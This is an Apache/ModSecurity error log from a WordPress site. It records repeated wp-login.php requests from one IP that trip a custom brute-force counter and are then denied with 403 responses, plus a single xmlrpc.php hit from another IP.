[Fri Feb 27 02:25:22.050469 2026] [:error] [pid 18818:tid 18908] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQEhhPgqk2SeS_W83PAQAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:23.921099 2026] [:error] [pid 18818:tid 18894] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQExhPgqk2SeS_W83PAgAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:26.682987 2026] [:error] [pid 18818:tid 18887] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQFhhPgqk2SeS_W83PBQAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:28.750592 2026] [:error] [pid 18818:tid 18906] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQGBhPgqk2SeS_W83PDAAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:31.550393 2026] [:error] [pid 18818:tid 18903] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQGxhPgqk2SeS_W83PDwAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:33.402748 2026] [:error] [pid 18818:tid 18900] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQHRhPgqk2SeS_W83PEgAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:36.097292 2026] [:error] [pid 18818:tid 18898] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQIBhPgqk2SeS_W83PGAAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:38.200315 2026] [:error] [pid 18818:tid 18902] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQIhhPgqk2SeS_W83PGgAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:40.935119 2026] [:error] [pid 18818:tid 18894] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQJBhPgqk2SeS_W83PHgAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:42.650577 2026] [:error] [pid 18818:tid 18886] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQJhhPgqk2SeS_W83PHwAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:45.412620 2026] [:error] [pid 18818:tid 18904] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQKRhPgqk2SeS_W83PJAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:47.348013 2026] [:error] [pid 18818:tid 18887] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQKxhPgqk2SeS_W83PJgAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:47.348080 2026] [:error] [pid 18818:tid 18887] [client 5.189.188.55:52509] [client 5.189.188.55] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.188.55 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQKxhPgqk2SeS_W83PJgAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:48.767679 2026] [:error] [pid 19020:tid 19044] [client 5.189.188.55:53796] [client 5.189.188.55] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.188.55 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaCQLLN3kp7wL6QzPnVAKgAAAVY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:50.205532 2026] [:error] [pid 20059:tid 20102] [client 5.189.188.55:54600] [client 5.189.188.55] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.188.55 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCQLpZBS5wIa_Nsqsg3TAAAAcA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:51.342070 2026] [:error] [pid 18818:tid 18899] [client 5.189.188.55:55418] [client 5.189.188.55] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.188.55 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCQLxhPgqk2SeS_W83PKgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:52.529540 2026] [:error] [pid 19020:tid 19036] [client 5.189.188.55:56048] [client 5.189.188.55] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.188.55 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCQMLN3kp7wL6QzPnVAMAAAAU4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:54.168912 2026] [:error] [pid 20059:tid 20118] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQMpZBS5wIa_Nsqsg3ZgAAAdA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:56.872588 2026] [:error] [pid 20059:tid 20107] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQNJZBS5wIa_Nsqsg3eQAAAcU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:25:58.747786 2026] [:error] [pid 20059:tid 20110] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQNpZBS5wIa_Nsqsg3gQAAAcg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:01.712570 2026] [:error] [pid 20059:tid 20110] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQOZZBS5wIa_Nsqsg3oAAAAcg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:03.459042 2026] [:error] [pid 20059:tid 20122] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQO5ZBS5wIa_Nsqsg3rgAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:06.220705 2026] [:error] [pid 20059:tid 20115] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQPpZBS5wIa_Nsqsg3vQAAAc0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:08.056606 2026] [:error] [pid 20059:tid 20126] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQQJZBS5wIa_Nsqsg3xwAAAdg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:10.688747 2026] [:error] [pid 20059:tid 20120] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQQpZBS5wIa_Nsqsg3ygAAAdI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:12.540630 2026] [:error] [pid 20059:tid 20112] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQRJZBS5wIa_Nsqsg30AAAAco"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:16.961942 2026] [:error] [pid 20059:tid 20125] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQSJZBS5wIa_Nsqsg33wAAAdc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:18.805803 2026] [:error] [pid 20059:tid 20110] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQSpZBS5wIa_Nsqsg34wAAAcg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:21.311706 2026] [:error] [pid 20059:tid 20120] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQTZZBS5wIa_Nsqsg36gAAAdI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:23.385054 2026] [:error] [pid 20059:tid 20126] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQT5ZBS5wIa_Nsqsg3-AAAAdg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:26.041754 2026] [:error] [pid 20059:tid 20108] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQUpZBS5wIa_Nsqsg3_QAAAcY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:28.056116 2026] [:error] [pid 20059:tid 20118] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQVJZBS5wIa_Nsqsg4AQAAAdA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:30.949803 2026] [:error] [pid 20059:tid 20114] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQVpZBS5wIa_Nsqsg4DgAAAcw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:32.884042 2026] [:error] [pid 20059:tid 20111] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQWJZBS5wIa_Nsqsg4FAAAAck"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:35.558966 2026] [:error] [pid 20059:tid 20124] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQW5ZBS5wIa_Nsqsg4IQAAAdY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:37.399805 2026] [:error] [pid 20059:tid 20117] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQXZZBS5wIa_Nsqsg4KAAAAc8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:39.949471 2026] [:error] [pid 20059:tid 20111] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQX5ZBS5wIa_Nsqsg4LgAAAck"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:41.572580 2026] [:error] [pid 20059:tid 20105] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQYZZBS5wIa_Nsqsg4MQAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:44.118796 2026] [:error] [pid 20059:tid 20121] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQZJZBS5wIa_Nsqsg4NQAAAdM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:46.041821 2026] [:error] [pid 20059:tid 20111] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQZpZBS5wIa_Nsqsg4OQAAAck"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:48.745213 2026] [:error] [pid 20059:tid 20122] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQaJZBS5wIa_Nsqsg4PwAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:50.837202 2026] [:error] [pid 20059:tid 20112] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQapZBS5wIa_Nsqsg4TAAAAco"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:53.519980 2026] [:error] [pid 20059:tid 20103] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQbZZBS5wIa_Nsqsg4WAAAAcE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:55.416459 2026] [:error] [pid 20059:tid 20105] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQb5ZBS5wIa_Nsqsg4WwAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:26:57.993051 2026] [:error] [pid 20059:tid 20118] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQcZZBS5wIa_Nsqsg4YQAAAdA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:27:00.135745 2026] [:error] [pid 20059:tid 20115] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQdJZBS5wIa_Nsqsg4ZgAAAc0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:27:02.995445 2026] [:error] [pid 20059:tid 20104] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQdpZBS5wIa_Nsqsg4bAAAAcI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:27:04.945641 2026] [:error] [pid 20059:tid 20103] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQeJZBS5wIa_Nsqsg4bgAAAcE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:27:07.510125 2026] [:error] [pid 20059:tid 20115] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQe5ZBS5wIa_Nsqsg4dwAAAc0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:27:09.275910 2026] [:error] [pid 20059:tid 20104] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQfZZBS5wIa_Nsqsg4fAAAAcI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:27:11.836766 2026] [:error] [pid 20059:tid 20118] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQf5ZBS5wIa_Nsqsg4fwAAAdA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:27:13.790254 2026] [:error] [pid 20059:tid 20121] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQgZZBS5wIa_Nsqsg4gAAAAdM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:27:16.353574 2026] [:error] [pid 20059:tid 20106] [client 5.189.188.55:56957] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCQhJZBS5wIa_Nsqsg4hQAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:28:10.015027 2026] [:error] [pid 19020:tid 19035] [client 51.79.82.101:38646] [client 51.79.82.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.82.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCQurN3kp7wL6QzPnVBFQAAAU0"]
